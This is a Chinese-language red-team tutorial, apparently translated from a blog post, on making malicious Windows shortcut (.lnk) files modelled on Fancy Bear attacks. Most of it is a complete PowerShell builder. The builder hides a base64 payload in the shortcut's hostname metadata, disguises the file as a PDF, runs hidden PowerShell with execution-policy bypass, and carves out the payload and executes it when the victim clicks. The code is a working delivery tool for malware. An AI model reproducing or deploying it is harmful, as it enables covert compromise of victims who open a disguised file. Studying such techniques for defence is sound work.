**在Word或zip文檔中嵌入一個(gè)指向powershell的快捷方式文件(.lnk)缓熟,是一種已知的惡意軟件隱蔽傳播方法,就連涉嫌干擾美國(guó)大選的俄羅斯APT組織也經(jīng)常使用這種方法(參考:Volexity、CrowdStrike)。例如,在奇幻熊(Fancy Bear)針對(duì)一些美國(guó)研究機(jī)構(gòu)的網(wǎng)絡(luò)滲透中减拭,就使用了一種很少見的快捷方式文件后門攻擊,通過該手段区丑,攻擊者不僅實(shí)現(xiàn)了powershell命令的嵌入執(zhí)行拧粪,還能把整個(gè)payload存儲(chǔ)在.lnk文件隱秘位置完成攻擊調(diào)用,受害者一不小心點(diǎn)擊了這種惡意的lnk文件沧侥,就會(huì)掉進(jìn)攻擊者布下的“陷阱”中可霎。
**
對(duì)紅方滲透人員來說,該攻擊手段和相關(guān)樣本的研究學(xué)習(xí)非常有用宴杀。本文中癣朗,我將展示如何制作“奇幻熊式”的惡意快捷方式文件(.lnk),通過該.lnk文件生成的惡意程序主體Dropper可應(yīng)用于滲透測(cè)試場(chǎng)景中旺罢。該Dropper程序包含.lnk文件目標(biāo)路徑區(qū)域powershell旷余、構(gòu)造精巧的調(diào)用腳本和嵌入payload三個(gè)主要部分,結(jié)構(gòu)流程如下圖抽象所示:
規(guī)避目標(biāo)系統(tǒng)的長(zhǎng)度限制
我們都知道扁达,在Windows系統(tǒng)中創(chuàng)建快捷方式文件非常簡(jiǎn)單:桌面環(huán)境下正卧,右鍵點(diǎn)擊鼠標(biāo),“新建”跪解,然后“快捷方式”炉旷,之后跳出一個(gè)要求輸入對(duì)象位置的對(duì)話框,以此就完成了一次.lnk文件創(chuàng)建。之后窘行,如下圖所示饥追,我們可以查看一下該lnk文件的屬性特征,并嘗試向其目標(biāo)路徑(target)中添加其它參數(shù)罐盔。
在.lnk文件屬性下的目標(biāo)路徑區(qū)域(target)中但绕,可以加入最多260個(gè)字符數(shù)。由于有字符數(shù)的限制翘骂,為了創(chuàng)建一個(gè)快捷方式后門壁熄,我們只能將lnk文件指向例如powershell的執(zhí)行程序,并在其中加入一段很小的經(jīng)過封裝的命令作為執(zhí)行參數(shù)碳竟。但是,要突破這種目標(biāo)路徑區(qū)域的最大字符限制狸臣,可以通過jscript創(chuàng)建的WScript Shell對(duì)象快捷方式來實(shí)現(xiàn)莹桅,該方式可以向目標(biāo)路徑區(qū)域添加達(dá)1096個(gè)字符數(shù)。擴(kuò)展增加后的目標(biāo)路徑區(qū)域如下圖十六進(jìn)制編輯器中所示:
對(duì)Lnk格式文件的利(làn)用
找到擴(kuò)展增加目標(biāo)路徑區(qū)域字符數(shù)的方法烛亦,就可以實(shí)現(xiàn)向指向powershell中傳遞更多的執(zhí)行參數(shù)诈泼,但對(duì)于熟諳.lnk文件格式的攻擊者來說,這種方法還不足以執(zhí)行足夠大煤禽、足夠精巧的調(diào)用腳本铐达。
當(dāng)一個(gè)快捷方式文件被創(chuàng)建之后,很多關(guān)于系統(tǒng)的元數(shù)據(jù)信息也被儲(chǔ)存在其lnk文件中檬果,例如驅(qū)動(dòng)器標(biāo)簽瓮孙、主機(jī)名稱等:
當(dāng)我研究了.lnk格式文件規(guī)范后發(fā)現(xiàn),這些元數(shù)據(jù)都可能包含了一個(gè)不限長(zhǎng)度的變量选脊。就拿主機(jī)名稱元數(shù)據(jù)來說杭抠,它可以儲(chǔ)存一個(gè)任意長(zhǎng)度的變量,而這點(diǎn)就可能被攻擊者利用恳啥,用來嵌入任意payload偏灿,即目標(biāo)路徑區(qū)域內(nèi)不允許執(zhí)行的、有長(zhǎng)度限制的payload钝的,攻擊者可以放到這里進(jìn)行隱蔽存儲(chǔ)和調(diào)用執(zhí)行翁垂。
創(chuàng)建快捷方式后門“陷阱”文件
有了以上這些信息之后,可以嘗試制作一個(gè)惡意的快捷方式陷阱文件硝桩。在這里沿猜,我直接選用系統(tǒng)內(nèi)置的powershell作為腳本編譯語(yǔ)言。以下是對(duì)該惡意lnk文件三個(gè)主體部分的制作思路:
第一部分亿柑,我們需要構(gòu)造一個(gè)調(diào)用payload的powershell腳本邢疙。
該腳本被以指向powershell執(zhí)行的編碼參數(shù)形式,存儲(chǔ)在lnk文件屬性的目標(biāo)路徑區(qū)域(target)中,當(dāng)受害者點(diǎn)擊了lnk文件之后疟游,該腳本將會(huì)被自動(dòng)執(zhí)行呼畸。這個(gè)精心構(gòu)造的腳本最終將會(huì)調(diào)用存儲(chǔ)在lnk文件主機(jī)名稱元數(shù)據(jù)區(qū)域的payload。以下是這個(gè)腳本的典型示例:
實(shí)現(xiàn)代碼:
#--Carving script: will find and decode the script block
#--embedded in the shortcuts hostname
$payloadStartIndexInShortcut=1000;
$payloadSize=100;
$shortcutFilename="interesting-title.lnk";
#create a byte array to store the encoded payload
$encodedPayloadBytes=New-Object byte[]($payloadSize);
#read the contents of the shortcut, starting from $payloadStart
$lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
$lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
$lnk.Read($encodedPayloadBytes,0,$payloadSize);
#Base64 decode encoded payload
$decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
$scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
#execute payload (script block)
iex $scriptBlock;
第二部分就是突破目標(biāo)路徑區(qū)域長(zhǎng)度限制颁虐,創(chuàng)建指向powershell腳本的快捷方式文件蛮原;
最后一部分就是編寫payload,該payload可以是嵌入到lnk文件元數(shù)據(jù)區(qū)域變量的base64執(zhí)行程序另绩,可以執(zhí)行磁盤寫入或內(nèi)存寫入等其它惡意功能儒陨。
最終實(shí)現(xiàn)代碼
所有這三部分的最終代碼實(shí)現(xiàn)可以參考以下快捷方式后門“陷阱”文件創(chuàng)建代碼,該代碼為powershell腳本笋籽,包含payload配置選項(xiàng)蹦漠,并可用于滲透測(cè)試場(chǎng)景中,請(qǐng)勿用于非法目的车海。
#
# Create backdoored LNK file - by Felix Weyne
# Info: https://www.uperesia.com/booby-trapped-shortcut
# -Usage: place your powershell payload in $payloadContents
# -This payload can embed for instance an executable that needs
# -to be dropped to disk/loaded into memory
#
$shortcutName = "interesting-title-to-click-on.pdf.lnk"
$shortcutOutputPath = "$Home\Desktop\"+$shortcutName
$shortcutFallbackExecutionFolder="`$env:temp"
$payloadContents =
@'
echo "This payload/script block can be huge, easily a few megabytes";
echo $env:computername >> $Home\Desktop\IhaveRun.txt
echo $env:computername >> $Home\Desktop\IhaveRun.txt
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
$payload = [Convert]::ToBase64String($bytes)
function Convert-ByteArrayToHexString($inputByteArray)
{
$String = [System.BitConverter]::ToString($inputByteArray)
$String = $String -replace "\-",""
$String
}
function Convert-HexStringToByteArray ($hexString) {
$hexString = $hexString.ToLower()
,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
}
function CreateShortcut($payloadStart,$payloadSize) {
#<------>
#<Part 1: encode carving script>
#<------>
#$stP = startPayload, $siP = sizePayload,
#$scB = scriptblock, $lnk = filestream LNK file
#$b64 = base64 encoded scriptblok, $f=shortcut name
$carvingScript = @'
$stP,$siP={0},{1};
$f='{2}';
if(-not(Test-Path $f)){{
$x=Get-ChildItem -Path {3} -Filter $f -Recurse;
[IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;
'@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
write-host "Generated carvingscript:" -foregroundcolor "yellow"
echo $carvingScript;
$compressedCarvingScript = $carvingScript -replace "`n",'' -replace "`r",''
# Convert string to base64 encoded command
$bytes = [System.Text.Encoding]::UTF8.GetBytes( $compressedCarvingScript )
$encodedCommand = [Convert]::ToBase64String($bytes)
#<------>
#<Part 2: create shortcut with encoded carving script>
#<------>
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
#使用IE圖標(biāo)
$Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,242"
#運(yùn)行窗口最小化
$Shortcut.WindowStyle = "7"
$Shortcut.Save()
}
#<------>
#<Part 3: find start of embedded payload (start of computer hostname)>
#<------>
write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
$payloadSize = $payload.Length
CreateShortcut 9999 $payloadSize
$enc = [system.Text.Encoding]::UTF8
[string]$computerName = $ENV:COMPUTERNAME
$computerNameBytes = $enc.GetBytes($computerName.ToLower())
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''
$startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"
#<------>
#<Part 3: create new link with correct start of payload
#<------>
Remove-Item $shortcutOutputPath
CreateShortcut $startPayload $payloadSize
write-host "Output LNK file: " $shortcutOutputPath -foregroundcolor "Cyan"
#<------>
#<Part 4: embed payload
#<------>
$payloadBytes = $enc.GetBytes($payload)
$payloadInHex = Convert-ByteArrayToHexString $payloadBytes
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;
$writeout = Convert-HexStringToByteArray $contentsLnkFile;
set-content -value $writeout -encoding byte -path $shortcutOutputPath;